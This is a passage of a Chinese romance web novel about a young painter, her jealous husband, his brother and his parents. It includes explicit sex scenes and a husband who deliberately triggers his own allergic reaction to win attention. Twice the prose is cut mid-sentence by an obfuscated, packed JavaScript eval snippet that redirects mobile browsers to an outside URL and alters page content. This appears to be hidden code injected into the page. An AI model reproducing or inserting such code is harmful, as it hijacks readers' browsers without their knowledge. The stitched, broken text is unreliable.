“谁要去意大利?”他问。 蓝夏回头,只看到他眼里不见了十分钟前的欣喜,眼里的茫然近乎悲怆。 奶奶说:“哦,你这段时间忙毕业,没告诉你,小夏要去意大利读书了。” 司宸沉默了一会儿,看着蓝夏的眼睛问:“我是最后一个知道的?” 蓝夏坐直身体,“因为这段时间对你来说比较重要,所以想等你忙完再……” 司宸冷冷地嗤笑一声,转身上楼,“随便,你爱去哪去哪,关我什么事。” —— 蓝夏觉得很热,背后像有个大火炉。 她紧锁着眉,翻了个身,沉重的眼皮缓慢抬起。 室内窗帘紧闭,炎炎夏日的太阳光线穿过窗帘缝隙钻进来,这里是司宸的住所,是她婚后和司宸一起住的地方,不再是司家的阁楼。 但一样的是,司宸依旧紧紧抱着她。 房内也开着空调,她会感到热完全是因为他抱得太紧。 这一次他没有在自己的翻身的时候就醒来。 蓝夏想了想,好像睡前他们隔得并不近,更别提抱在一起。 昏暗的光线勾勒着司宸的脸部线条,英挺的鼻梁下有大片的阴影面积。 她知道,自己职业病犯了,想画他的脑袋。 她与他的脸仅仅相隔三、四厘米,就这么发怔看着他的睡颜,让她产生了一种冲动。 她严重怀疑是今天早晨司宸在车里说的那句话导致了她激素分泌发生了变化。 现在她想吻他。 会冒犯到他吗?蓝夏想,她要是偷偷的应该不会被发现吧。 她身子往前探,距离被她不断缩短,最后唇与唇相贴,柔软轻触。 这一次没有一碰即离,她贴得久了一点,但她发誓,也就多了两秒钟的时间,她没那么贪心。 待松开,回到自己的原位时,蓝夏正对上了他睁开的眼,恐怖片也不过如此。 “你在干嘛?” “亲你。”这显而易见,她不需要撒谎。 她一直以来都很坦诚,从不掩饰自己内心的欲望,尽管此刻她因为他忽然睁开的眼睛而心跳加速。 司宸眼神发着沉,看起来并没有很愉悦。 蓝夏自认自己把事情弄糟了,她不应该这样做的,是她刚刚色-欲-熏心。 司宸:“早晨白教了。” “嗯?”蓝夏没听懂。 片刻后又忽然明白过来他是什么意思。 “那我重新来?” “请。” “你要闭上眼睛吗?” “不用。” “那我来了。” “嗯。” 两人面对面侧卧,唇与唇之间只有一个冲动的距离。 蓝夏觉得郑重其事地说这件事好像没有感觉了,她犹豫着到底还要不要亲。 “要不还是……” “算了”两个字还没有说出口,冲动的距离由司宸缩短,只要蓝夏稍微动一下两片唇就会贴到一起。 “我过来了,你呢?” 很久以前蓝夏就知道,司宸很会蛊惑人,他会用最简单的语言拨动她的心弦。 这种时候她不会拒绝他。 下巴轻轻抬起一点,上嘴唇便碰到了他的下嘴唇,体温在相互传递,感染,同化。 不记得到底是谁先失了守,轻柔的触碰变成倾泄的山洪。 一场梦,一场吻。 梦里被忽然叫停的吻现在被延续下去,直到尽兴。 最后是怎么演变成另一件事的,简直再自然不过。明明在购物袋里的两盒东西不知道什么时候出现在了卧室,他动作娴熟,有力之中带着小心。 蓝夏感觉一颗心都被抛起又坠回地面。 这一次她的意见,他有听,但依旧不说话。 两个人都面红耳赤又汗涔涔。 司宸抱着她,面对面,他一览无余她咬唇的隐忍和耸动的肩膀,瘦削的肩膀上,细小的汗毛也战栗,在透进来的日光里散发着令他着迷的光晕。 视觉神经传达着另一种指令,他凿得更快,更迅猛有力。 他私心享受着蓝夏在临界点紧紧抱着他,攀附着他,在他耳边的咿呀,他也在她耳边喷洒沉重的呼吸声。 头脑空白得蚀骨,温存令他再次伫立。 蓝夏觉得他在撒气。她明明已经求饶,他却没有要放过她的意思。 但司宸清楚她身体的每一处结构,也知道此刻不断会让她彻底失神。 他的目的达到了,蓝夏只会抱着他发抖,可他只是无情撤开一点距离,要看她此刻只能被他所看的表情。 最后再一击,她呜咽,他终于将她紧紧抱在怀里。 —— 晚餐依旧是司宸做,蓝夏在洗今天的第二个澡。 她在思考司宸为什么总有用不完的力气。 午睡后的那一次亲密接触或许真的安慰到了司宸,吃晚餐时他没有再对她有过任何阴阳的语句。 平和、温柔,这之中还带着一点餍足。 她知道他餍足过后的神情,就如同他也清楚知道她的身体构造。 饭后原本的散步计划被司宸工作上的电话打乱,他需要开一个线上会议,结束的时间不定。 蓝夏站在阳台上闻夏天的味道,温热的微风中有这座城市独特的味道。 耳边有孩童远处传来的嬉笑声,小女孩在楼下用电话手表给伙伴打电话,她大声告诉朋友,自己就在楼下等他。 虫鸣声断断续续从楼下传来,蓝夏惊觉,她从没有见过这个房子的其他季节,在她的记忆里,这套房子好像只有夏天。 她还能看到别的季节吗?蓝夏不太确定。 手机放在不远处的阳台矮几上,屏幕光亮映在蓝夏的余光里。 司宸发来消息:早点进来,外面蚊虫多,天也热。 他不是在书房吗,透视眼吗? 她回复:早就进房间了,你不知道而已。 两分钟后,司宸再发来消息:小骗子。 蓝夏兀自笑出声。 司宸以前除了喜欢问她到底喜欢司理还是他以外,还喜欢在穿着上参考她的意见。 那时候蓝夏还和他不是太熟,被问的次数多了,她有些烦,就会顺着他的话往下说。 司宸总是一眼看穿她的虚情假意,对着她的脑袋弹一个脑瓜崩说她是小骗子。 蓝夏回复他三个点。 她也没有打算在外面站多久,差不多时间就进去了。 她走到书房门口去看了眼,门半阖着,司宸坐在书桌后,戴着一副无框眼镜,电脑的蓝光映照在他的脸上,他的神情是她很少见到的严肃与认真。 她只是看了一眼就要走,但司宸已经看到了她。他面色未改,落在她身上的视线转瞬即逝,而后手机收到一条消息: ——怎么了? 他以为她是来找他有事的。 蓝夏赶紧退出他的视线范围,回复他:我没事,只是看一眼,我去画画了,你好好开会不要玩手机。 她回了她的画室,手机又收到司宸的信息,一个简短的“好”字。 蓝夏画画前跑去客厅拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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司理打开后备箱,里面有好几袋奢侈品包袋。 “都是给你的,没买司宸的,他大概不会收我的东西。” “哥哥,我那儿好多都是你送的,我不缺这些,你怎么又送。” “我就你这么一个妹妹,也算是你的娘家人,哥哥不疼你谁疼?” 蓝夏笑笑,“好,那我就收下了。改天画幅画给你送过去?” “当然再好不过了,我挂在我办公室,让他们都看看我家的画家。” 司理伸手去拿那些包袋给她,发现她没戴自己送的那个手镯。 司理不经意问道:“手镯还合适吗?” 蓝夏下意识摸了摸自己的左手腕。想起来是今天早上做的时候,司宸牵着她的手,摸到她手腕上的镯子时,忽地来了一股大力,将镯子从她手上摘下,随手就扔到了一边。 事后她洗过澡,饿着肚子的时候完全没有想起来这回事,再后来就忘了。 “没,我晚上洗澡的时候摘下来了。” 司理笑着把东西递给她,“合适就好。要是缺什么就和我说,哥哥别的本事没有,就是钱特别多。” 蓝夏被他这句话逗笑,“好,我会的。” “哦,还有一件事要和你们说。过两天爸爸妈妈从港岛回来,你俩得来见面吃饭了。” 司理司宸的父母都经商,两人最大的乐趣就是赚钱,司理跟着他们在港岛生活到四岁,直到司宸出生,无暇顾及到两兄弟成长教育问题的夫妻俩,将两个孩子放到爷爷奶奶家,又潇潇洒洒投入到工作中。 这两位名副其实的工作狂,在商界叱咤风云,司理继承的就是自家的财产。 蓝夏很少见到他们,这么多年总共也才见过三次,但每一次给她的感觉都不是太好。 和司家两位老人不一样,两位商人看待所有的问题都过于理性,得知蓝夏的存在后,他们曾与司崇辉冷静谈判过一次。 目的只有一个,便是不希望蓝夏会和自己的两个儿子有任何纠葛。 当年司崇辉的再三保证当然没有作数,而司宸和蓝夏的婚姻也是先斩后奏,对于公公和婆婆对自己扑朔迷离的态度,蓝夏有些忐忑。 但这种忐忑并非来自于两位不同意她与司宸在一起,而是来自于当年,她曾意外听见过两位与司崇辉的谈判。 尽管那时她还年幼,他们说的很多话她都听不懂,但她能察觉到哥哥的父母并不喜欢她。 那个夜晚,她呆呆地站在书房外,司理发现了她并把她带走,司理也是知情的。 蓝夏点点头,“知道了,谢谢哥哥告诉我。” “放心,他们态度已经缓和了很多。” 蓝夏点头道谢。包袋也已经都拿完,她和司理告别。 司理抬了抬下巴,“司宸给你打电话来了。” 蓝夏顺着他的视线下落到右手的手机上。她出门的时候没换衣服,还是在家穿的那条连衣裙,裙子没有口袋,手机只能一直拿在手上。 她划过接听键,听到电话那头传来一阵微微的咳喘声。 蓝夏皱着眉头,刚准备开口问他怎么了,他虚弱的声音传过来,吐字有些不太清楚,蓝夏费了点力气才听出来: “你在哪?快回来。” “你怎么了?”蓝夏察觉出了不对劲,加快了速度往小区里走。 “我……呼吸不过来了……” 10. 黄昏雨10 司宸开完线上会议,摘下眼镜捏了捏眉心,顺手拿起手机看蓝夏回复没有。 锁屏界面上只有一条来自司理的未读短信,他说自己就在小区门口,给蓝夏买了些东西,让司宸出去拿。 司宸当然不会搭理他,他送给蓝夏的那些东西,他又不是买不起。 但客套还是需要的,他点出键盘准备回复不用了,又觉得有些不对劲。 他一直以来在蓝夏的事情上都有着准到惊人的第六感。 这种猜想往往在最后都得到了证实。 司宸往蓝夏的画室走,还没走到画室门口,就看见她画室大敞着的门,灯光从里面倾泻出来,和走廊里黄色的灯光交织成片羽。 蓝夏画画的时候是不会开着门的。 房间里是她才开始起草的画作,桌面微微凌乱,桌角上放着今天早晨买的零食,有些包装已经拆开,有的还原封不动,这里只有人待过的痕迹,但就是没有她。 司宸锁着眉,整个家找了一遍,只在玄关处发现了蓝夏在家穿的拖鞋。 她真的出去了,被司理叫出去了。 司宸总是在暗暗后悔,当年为什么要去为难妹妹,明明第一次见到妹妹的那天晚上,他对她怜惜又喜爱。但他却拧巴地说自己不喜欢妹妹,他还对她很坏。 导致妹妹有了很多时间和司理在一起,导致妹妹先信任了司理,又先喜欢上了他。 如果当年是他一直守在蓝夏身边,是不是蓝夏喜欢的就只有他。 司宸知道,在这四年里,司理一直都和蓝夏有联系,偶尔去国外出差的时候还会顺便去看蓝夏,他会给蓝夏买东西,蓝夏不会拒绝他,他们会一同在异国的街头散步,他们如此亲密。而他只是被抛弃的流浪狗,是见不得光的前男友。 他们现在站在小区外会聊什么?一定是聊到什么有趣的就看着对方笑,或者司理给蓝夏擦汗扇风,司理一直以来都是这么照顾蓝夏的,又或者,他又抬手摸摸她的头发……光是想象那个画面都让他喘不过气来,他好像又要被抛弃了。 再联想到他今天无意间看到的蓝夏和好友的聊天内容,司宸开始认命般的闭上眼。 大脑有片刻的空白,很快他就做了一个决定,他再次回到画室,拿起蓝夏已经开封过的那包牛肉,撕了一小条放进嘴里。 咀嚼、吞咽。 五分钟不到,他感觉到身上有痒意攀附,而后又觉得脖子勒得紧,扯了扯衣领后,舌头好像也逐渐变得肿大,而后呼吸越来越困难…… 快要晕厥过去前,司宸听到了门口传来的混乱脚步声,蓝夏连鞋也没有来得及换就朝他跑来,脸上惊惧不已。 果然,她还是在乎他的…… 可下一秒,他看到了在蓝夏身后的司理。 蓝夏第一次见司宸这样,他软软倒在地上,脸很红,皮肤上出现了一些细小的红点,他粗喘着气,紧紧握着蓝夏的手。 司理在看到他这幅模样后,原先焦急的步伐停了下来,了然抬眉,唇边提起一点浅淡的笑。 他视线落在不远处桌上的风干牛肉上,随后从口袋掏出手机,“小李,把车开进来,开到17栋楼下。” 蓝夏眼里蓄着后怕的泪花,慌张地点着数字键就要打120急救电话。 司理捂住她的手机道:“等他们来太慢了,我让小李把车开进来了,我们去医院,蓝夏你去拿他的身份证,我来背他。” “好。”蓝夏立刻挣开司宸的手起身往卧室跑。 只留下司宸一只手张开着,想抓却抓不住。 司理蹲在他身边,抬起他的脸左右看了看。 “真是对自己下得去狠手啊。” 司宸怒目而视,嘴巴一张一合说着模糊的话。 “放心,我不会告诉她的。但你得配合我,如果我背你你要挣扎的话,我可就管不住我的嘴了。” 司宸没有回答,但蓝夏很快找到了他的身份证,拿着他的钱夹跑了过来。 “我找到了。” 司理背过身去,反手抓着司宸的手臂搭到自己的肩上,第一次没有拉动他这个人,第二次,司宸顺着他的力趴到了他的背上。 车子一路狂奔到医院。 急诊室内,司宸打了针,吃了药,还在吊水。 医生告诉蓝夏,司宸很明显是过敏症状。 “可我们不知道他有什么过敏史,这次能检查出来吗?” “现在做不了,下次来医院做个检查就知道了。” “医生,”司理在一旁道:“会不会是牛肉的问题?我刚刚好像看到家里桌上有吃剩的牛肉。” “有可能,具体的还是得等下次来做检查,记得回来复查啊,他这个症状还挺严重的。” “好,医生,我知道了。”蓝夏在一旁点头。 等医生走后,蓝夏才对司理说:“应该不是牛肉的问题,牛肉是我吃的。” “这样啊,那等会儿问问司宸吧。” “哥哥要不你先回去吧,你工作那么忙,这里留我照顾他就够了。” “我再陪陪你们,等他症状好点了我就走。” “麻烦你了。” 司理看着白炽灯光下皮肤发白的妹妹,“怎么总是和我这么客气?” “因为真的很麻烦你,都晚上十一点了。”蓝夏点了点手机看时间。 打过针吃过药的司宸,明显感觉到自己的身体逐渐恢复到了正常水平。他当然了解自己过敏后会是什么样,症状被药物控制后又是什么样。 只是已经坚持了很多年没有再吃过牛肉,没想到现在竟然会这样破戒。 司理依旧没离开,尽管司宸已经提醒过要他先走,但他以担心为由继续留在了这里。 打针完已经是一点,司理送两人回去。 车上,司理坐在副驾,偏头嘱咐司宸,“回去要按时吃药,仔细排查一下自己晚上都吃了什么,以后不要再吃了,别让妹妹担心。下次记得来医院做检查,看看到底是什么过敏。” 他以一个长辈的姿态在叮嘱他,看起来友好亲切。 只有司宸听出来了他的话里话。 “知道了,谢谢哥。”他也微笑着大方回应,但他别无选择,只能暂时做出听话的模样。 他讨厌这种被控制的感觉,好像一切都在脱离自己的掌控,好像又回到了以前,蓝夏崇拜信任司理,而自己被司理训的样子。 这令他感到挫败。 司宸偏头去看蓝夏,车内光影变动,蓝夏的发丝浸润在金光里,她目视前方,目光呆滞,看起来像是又走神了。 车子停了,司理下车送他们。 他又提了一次爸妈要回来的那件事,司宸并不惊讶,仿佛意料之中,他点头表示已经知道。 见司理的车驶远,两人才慢悠悠往回走。 司宸的过敏症状已经消失,他看起来和平时无异。 “刚刚在车上想什么?” “我在想,你到底是什么过敏。” “想出来了吗?” “没有。你自己有印象吗?” “可能是牛肉,我尝了一点味道,结果就这样了。” 蓝夏:“怎么会?你以前吃牛肉不是也没事吗?” “可能基因突变吧。”司宸说着无意识地笑了笑,那样子像极了从前顽劣的模样。 “为什么这样了还能笑得出来?”蓝夏不理解,她是真的第一次见到他这样,简直把她吓一大跳,可他却满面春风,并不在意,还有心思开玩笑。 司宸不是没有看过她严肃认真的样子,但这样子实在久违,他觉得很是稀罕。 让他觉得就算今天休克过去了,也是值得的,当时应该再多吃一点点…… 蓝夏不知道他的心思,只看到他微勾着嘴角笑,觉得他人傻了,她抬抬手触碰了一下他的额头,和自己的好像没有太大的温差,没发烧。 “过敏会让人的脑子受到损伤吗?”蓝夏问。 蓝夏的脑袋里也装着很多司宸理解不了的东西,比如别人说这句话的时候可能是在开玩笑,但蓝夏是认真的,她真的在思考他的脑子是不是受到了损伤。 司宸看着她认真的神情,没忍住抬手弹了一下她光洁的额头,被弹的皮肤上慢慢浮现出一块粉色的斑块。 没有多用力,但她还是有微微的痛感的。蓝夏捂住额头,茫然看着他。 “你想什么呢,我要去查查过敏会不会传染,让别人的脑子受到损伤。” 蓝夏眨眨眼睛,没有把他这句话放在心上,也知道了他脑子没有坏,他从以前就这样。 以前在一起的时候,他有时候也会看着她莫名其妙地笑,看起来和傻了一样。 蓝夏把这个称之为男生在恋爱后智商消失理论。 她猜,可能是他的智商又消失了,那也侧面证明他现在心情很不错。 真是不容易,吻他没有让他的心情变好,“性”也只是微微让他心情好了一点,但一场过敏,让他高兴得智商为负。 不懂。 两天后蓝夏陪他去医院做检查,检查结果出来,果然是牛肉致敏。 蓝夏看着剩下的还没有吃完的牛肉有些头疼,万一司宸又不小心吃了怎么办? 她总觉得放在家里不太安全。 “要不把剩下这些都送给宋添哥吧?”蓝夏蹲在地上指着礼盒包装的牛肉道。 司宸在喝水,吞咽过后回答:“我们家又不是做慈善的,这一盒难道不要钱?而且宋添又不需要我们做慈善。” “不是啊,你对牛肉过敏,但放在家里我就会想吃,万一我吃了又和你接吻你过敏了怎么办?” 蓝夏丝毫没觉得这话有什么不对,实事求是而已,更何况他也经常突然就亲她,虽然现在还没有,但以前有,她也不敢保证司宸现在会不会突然袭击了。 “嗯?”司宸脸泛了点粉色,他放下水杯,弯腰提起那一盒礼盒,“那我现在给他送去。” “等下,我和你一起去,顺便再去给雪饼买点小玩具和零食一起送过去吧。” “他经常在我这里蹭吃蹭喝的,不要当散财童子了好吗,老婆?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14925263|160466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “买点小玩具和零食也不要什么钱,这算不上散财吧老公?” 蓝夏的脸没有丝毫变化,但司宸的脸开始越来越红。 她踮起脚尖,凑近了些,“你的脸怎么忽然这么红?碰这个包装也会过敏吗?” 司宸清清嗓子,“没事,突然有点热。你就在家里坐着,天这么热别跟着我跑来跑去了,我去买,买了一起送去。” “真的没事吗?” “没事,”他弯腰在她唇上轻啄了一下,“我等会儿把买给雪饼的东西拍给你看。” 蓝夏指着自己的的嘴巴,“你看,如果我刚刚吃了牛肉,你亲了我你现在又过敏了。” “嗯,那我再亲一下。” …… 半个小时后,司宸开车到了宋添家。 宋添现在自己开了个工作室,天气太热了人犯懒好几天不去工作室也是有的,他就待在家里吹空调,工作室交给员工。 门开的时候,他穿着睡衣,一头短发乱得跟鸡窝一样,他是被司宸的敲门声给吵醒的。 雪饼在旁边兴奋得大叫,往司宸身上扑。 司宸一边摸着雪饼的脑袋一边把礼盒和给雪饼买的玩具递过去,“这个我吃不了给你吃,然后这一袋是给雪饼买的。” “我去,你怎么这么好。结了婚就是不一样……哎,这怎么是牛肉,你不是不吃牛肉吗?” “嗯,我老婆想吃,就买了。吃不了了剩下的给你。这个是我老婆专门买给雪饼的,都是买的雪饼平时吃的牌子。” 宋添一脸无法理解,嘀嘀咕咕道:“你恋爱脑吧,吃不了还买。” “你说什么?” 宋添抬起头,“我说谢谢你,这么热的天你还专门跑一趟。要不在我这里坐会儿吧,这都四点了,等会儿我随便炒两个菜你在我这里吃了得了。” 司宸用力揉揉雪饼的狗头后松手站起来,唇边挂着上扬的笑,“不坐了,我老婆还在家等我。” 宋添翻了个白眼,咬牙切齿道:“滚。” 司宸也不和他计较,心情甚好地摆摆手走了。 回家时阿姨正好在家做卫生,蓝夏在画室里打开电脑看意大利那边发来的邮件。 是一个品牌的联名合作邀请,希望能与她的《露珠》作品集合作。 蓝夏成为巴蒂斯特的唯一亚洲学生后,就广受到西方媒体的关注。 巴蒂斯特是如今世界上最富盛名的国宝级油画大师,年岁已高,本就已经不再轻易接收弟子,但却收了他此生唯一的一个亚洲学生,光是这个事件本身就足够引起热议。 而蓝夏在成为他的学生后,媒体也一直虎视眈眈,想要知道她究竟有什么样的本事能成为巴蒂斯特的学生。 《露珠》作品集是蓝夏的成名作,那时她才19岁,大胆而梦幻的色彩,独特的构图视角,很快让她摆脱了外界对她的质疑声。 当时有记者在采访中问道:“所有人都在质疑你的时候,你是不是暗暗下决心要让我们所有人惊艳?” 蓝夏回答:“你们没有特别到能让我下定什么决心,我就是正常画画。” 此言一出,她很快成为舆论的焦点。她被冠以“油画天才少女”的称号,一时间在圈内风靡。 她是典型的古典长相,眉宇间隐约有淡淡的忧愁,但眼神的冷冽和坚定却又冲淡了那股惆怅,脸型是偏圆润的鹅蛋脸,会让人觉得她小孩故作大人神态。 亚洲人本就显得更年轻一些,蓝夏的形象总让人忽略她已经是个成年人的事实。 她在ig上调侃自己的“天才少女”称呼——我已经19岁,而且我170公分,你们应该叫我Queen。 之后的品牌邀约也没有断过,蓝夏总是会亲自把关才点头。 画室的门没有关,是她担心阿姨有什么事要找她。 司宸轻轻叩门把她的注意力从电脑上扯到他的身上。 蓝夏抬起头,站起来朝他走去,“已经送去了?” “嗯,送过去了。晚上你想吃什么,想出去吃吗?” 蓝夏说:“我刚想和你说,你妈妈打电话给我了,晚上一起吃饭。” “越过我,直接给你打的电话?” 蓝夏点着下巴思考了道,“嗯,她说给你打电话你可能会用各种理由拒绝,但他们只有今天晚上有时间,所以要我们配合他们的时间去吃饭。” “给你打电话我们也可以拒绝。” “我答应了。”蓝夏说:“只是吃一顿饭应该没什么,而且司理哥哥也在呢,更没有什么好担心的了。” “司理在,所以你没什么好担心的是吗?” 蓝夏点头,“哥哥说他已经帮我说了不少话,有他在的话,场面应该会更加可控。” 蓝夏注意到他的面色不虞,补充道:“当然,你不是也在吗,我更没有什么好担心的了。” 她牵住他的手,用力握了握。 “司宸……” 司宸挣脱开她的手,往衣帽间走去。 他冷冷道:“我先去换衣服了。” 11. 黄昏雨11 又生气了。 蓝夏仔细回想了一下,觉得自己没说错什么话。 随便他好了。 蓝夏觉得闷得慌,他到底又在气什么。 她没管他,回房间洗了把脸开始化妆。 今天见长辈,妆就画她平时常画的淡妆,头发也不需要卷,她要把它们盘起来。 去衣帽间的时候正好碰上已经换好衣服的司宸。 他穿着白色的衬衫,臂弯里搭着一件暗色西装,由于只是普通的家族聚餐,他没有打领带,领口敞开一颗纽扣,能清晰看到他凹陷锁骨的痕迹。 看起来好像又回到了刚回国时见到他的冰冷、生人勿进的模样。 蓝夏也不太想和他说话,她眼睛看向墙壁,往后让了让,让他先出去。 但她余光看到他就站在门口不动了,视线冷冷落在她身上,就这么看着她。 蓝夏不知道他为什么不动了,转过头看他时正好对上他的眼睛。 阿姨打扫完卫生,远远瞧见两人气氛不对劲,也不走过来,就站在原地喊了一句:“老板,卫生打扫完了,垃圾我带走了啊。” 蓝夏没应,司宸回了一句:“好,您慢走。” 不多时,门口传来关门的声音,屋子里静了下来。 他还是站在门口,蓝夏没有耐心再等他了,准备从他身边擦过去。 就在她走到他身旁的时候,司宸忽然抓住她的手臂把她带进了衣帽间,随后关门落锁。 “你干嘛?”蓝夏看着紧锁的门问。 司宸看了眼她手腕上的翡翠镯子,“看你好像很讨厌我碰你,所以碰一下你。” “无聊。”说着蓝夏就要甩开他的手,但不知道他究竟哪来的这么大力气,蓝夏怎么都甩不动。 “司宸,你……” 话没说完,她被司宸吻住,堵住了她要说的所有话。 他在这件事上一向霸道,蓝夏被他推着往后退,直接撞上了墙角的大穿衣镜,发出一声闷响。 这个穿衣镜还是四年前蓝夏搬来时他为她换的,因为她之前提过一次,他的穿衣镜小,所以他定做了一个两米宽的大穿衣镜。 司宸抬起眼,看到镜子里蓝夏挣扎的背影,垂下眼,看到蓝夏睁着眼睛,因为受他钳制,她动不了,只能眼神抗议。 胸前的衬衫外,她的两只手都在用力推他,原本熨帖平整的衬衫此刻已经起了褶皱,就连刚刚抓好的头发也垂下一丝在额前。 蓝夏心有不服,但很快从一开始的挣扎变成顺着他的节奏享受。 他不再高高在上,他潦倒,困苦,只能用这种取悦她的方式来泄愤。 既窝囊又没骨气。 她今天在家穿的裙子是一条淡粉色的法式复古长裙,是很宽松的款式,肩带上有飘扬的蝴蝶结。 司宸扯开她肩带上的蝴蝶结,先右边再左边。 垂感十足的裙子没有支撑的肩膀,迅速往下坠。 镜子里,她的身段暴露无疑,雪山婀娜,连绵起伏。 蓝夏感觉到衣服被剥掉,整个人的周围陡然一空,像是没有了可以保护她的屏障,令她感到一阵没来由的心慌。 没等她反应过来,司宸将她摁坐在一旁的沙发上,躬下身去,埋藏于她腿-间。 蓝夏最怕他来这个,就想要跑,结果忽地被扣住细腰,动弹不得,被迫承受突如其来的酥麻感受。 满屋子里都是她的低声惊叫,而司宸没有花多长时间就让她决了堤。 他脸上在不同角度下折射着晶莹的水光,衬衫和西裤也有水渍。而他只是淡定地舔了舔唇,看着她腰间两侧的指印眼睛发红。 他拿来纸巾为她擦拭,将她扶起来,轻声问她要穿哪条裙子。 蓝夏推开他,“从现在开始,你不准和我说话了。” 她跑去浴室冲洗了一下,重新补了妆,再回到衣帽间的时候,司宸已经将衣帽间打扫干净,带着水汽从另一个浴室里出来。 蓝夏拿下来一条绿色的无袖裙穿上,要拉拉链的时候,原本好拉的拉链不知道为什么总是拉不上,她咬着唇苦苦挣扎。 一旁刚穿上衬衫还没有扣扣子的司宸过来接了她这件棘手的事。 “卡住旁边的布料了,我给你弄出来。” 蓝夏看到镜子里他站在她的身后,衬衫大开着,能看到他紧致的肌肉,手掌下不知道为什么好像摸到了熟悉的触感,她别开了眼。 他简单拨弄了一下,拉链被他修好,一直拉到她脖子处。 “好了。” 蓝夏转过身来,“我刚刚说过了吧,不准和我说话。” “说过了,”司宸说:“但我没答应。” 蓝夏无言以对,毕竟她也管不住他的嘴。 她转过身对着镜子梳头发,绑了个低发髻,又对着镜子打理了一下,从衣帽间出去。 司宸也已经穿好了衣服,跟在她身后一起出去。 出门前闹得不太愉快,去酒店的路上两人一直没说话,直到车停了,司宸才开口道:“对不起,出门前不该惹你生气。” 蓝夏没理他,解开安全带开门下车。 司宸锁了车,唇边弯着一抹淡笑跟在她身后。 他双手插兜,走得懒懒散散,但跟她跟得很紧。没来由地想起蓝夏上初中时,他管她管得严,她有时候被管得烦了也只是叹口气,但依旧老实照做。 他承认,有时候他是故意的,就是想看她生气的小表情。 就像刚刚,明明她已经很生气,说出口的话不过是——不准你和我说话了! 这世界上还有第二个人有这么可爱? 进了电梯,司宸跟在蓝夏身侧,按了楼层。 电梯上行,逐渐逼近目的楼层,司宸忽然伸手揽住了她的腰。 蓝夏回头,语气不善,“干嘛?” “他们喜欢问东问西的,你不想被他们看出来我们吵架了吧?” 蓝夏想来也是,便默许了他这个行为。 “等会儿见到他们不用害怕,我在这里,他们也不会说什么……” 蓝夏打断他,“不准和我说话,司理哥哥都告诉我了,我都知道。” 司宸顿时噤了声,轻哂了一声,揽住她腰的那只手更用力了些。 他们来吃饭的这家酒店就是司宸父母下榻的酒店,可见他们行程比较赶,吃饭都是酒店内就近解决。 这家酒店内餐厅的价格并不友善,所以这里也成为诸多人宴请的首选。 蓝夏原本算好了出门时间,但出门前被司宸那样一番耽搁,虽然没有迟到,但到的时候,两位长辈和司理都已经到了。 蓝夏见过他们,印象还很深刻。 两位都是极其自律的人,这一点从司家一脉相承的家庭教育就能看出来,都是被司崇辉教出来的,三个司家人不说话的时候都有着同样的严肃感。 司逸明如今已是知命之年,但身姿依旧挺拔,日常锻炼没有哪一天懈怠过,又不苟言笑,坐在那便有威严感。 司宸的妈妈蒲俊慧就坐在司逸明的旁边,她很优雅,看起来十分面善,眼睛干净明亮,长相有一种高智感。 这是蓝夏在成年之后第一次见到他们,倒是没有幼时看到他们时那样令她感到害怕了。 这大概是她的成长带给她的勇气。 司理坐在父母旁边,他应该是刚下班,还穿着整洁的西装,领带上还别着领带夹。司理见蓝夏进来,两人视线一对上,他浅笑着冲她点了点头。 司宸进门叫爸妈,说路上有点堵车来晚了些。 司逸明似乎对他很不满意,冷哼一声将头别过去,倒是蒲俊慧笑着让他进来坐。 蓝夏也跟着叫了爸妈,说抱歉来晚了。 两位对她的态度倒是客气一些,不过蓝夏看得出来也只是浮于表面的客套。 但这样的结果蓝夏已经很满意了,她原本就没有奢求过这两位与自己亲生儿子都没有多亲近的人会对她有多热情。 毕竟,不是所有人都像爷爷奶奶那样疼爱她,就连她自己的父母都没有。 “坐吧,小夏,天气这么热,难为你们两个还跑一趟。”说话的是蒲俊慧,她提醒司理去叫服务员进来倒茶,上菜。 司理低低地应了一句,起身出去了。 司逸明这时说话了,“蓝夏,你好。我是司宸的父亲,我们以前见过的,记得吗?” 蓝夏颔首向他问好,说记得的。 “首先我们要和你说一声抱歉,司宸越大越不懂事,基本的礼数都没有就撺掇着你去领证结婚。你父亲那边我们已经去拜访过了,你父亲是一个通情达理的人,没有怪我们,我们已经很感谢。” 蓝夏点点头,但心却揪了一把,蓝成文竟然什么都没有和她说,他收了对方多少彩礼? 原本没多紧张,这句话倒是让她紧张起来。 司逸明接着说:“我们今天叫你们来吃饭也没有别的意思。你是个好孩子,年纪还小,都是司宸的错。不过既然已经结了婚,两个人就好好过日子吧。我听说,你是画家?” “还谈不上,只是以后可能会在这上面深耕。” 蒲俊慧道:“画画好啊,听爸爸说你是在意大利读书?哪个学校?学的什么画种?” “弗洛伦萨美术学院,学的是油画。” 蒲俊慧点点头赞赏道:“倒是挺高雅的,比我们这一身铜臭味的强。不过就是不知道你学出来后做什么呢?现在留学生学历贬值很厉害,如果不能养活自己的话也倒是有些麻烦。” 蒲俊慧说这话倒并不是真心要打压蓝夏,她了解如今的劳动力市场,如今是高学历找工作反而比不上有过硬技术的,像蓝夏这种学美术的毕业后左不过就是进入美术相关的行业工作,工资也就是个平均水平。 司宸在一旁哂笑一声,“她不仅能养活她自己,我都靠她养活。” 司逸明道:“没问你。” 司宸不甚在意地笑了笑,在桌底牵住了蓝夏的手,她的手攥成拳,他给她抚平,触到她手心有些凉。没关系,他给她暖暖,壮壮胆。 蓝夏注意力集中在这边的时候无暇顾及司宸在做什么,她回答:“我一幅画卖七位数到八位数不等的,还有一些品牌联名的邀约,虽然比不上爸妈的公司,但吃个饭还是不成问题。” 蒲俊慧有些惊讶,小姑娘什么画能卖这么多钱。 “能看看你的画吗?” “可以的。”蓝夏从收藏相册里找到自己的画,把手机递给他们。 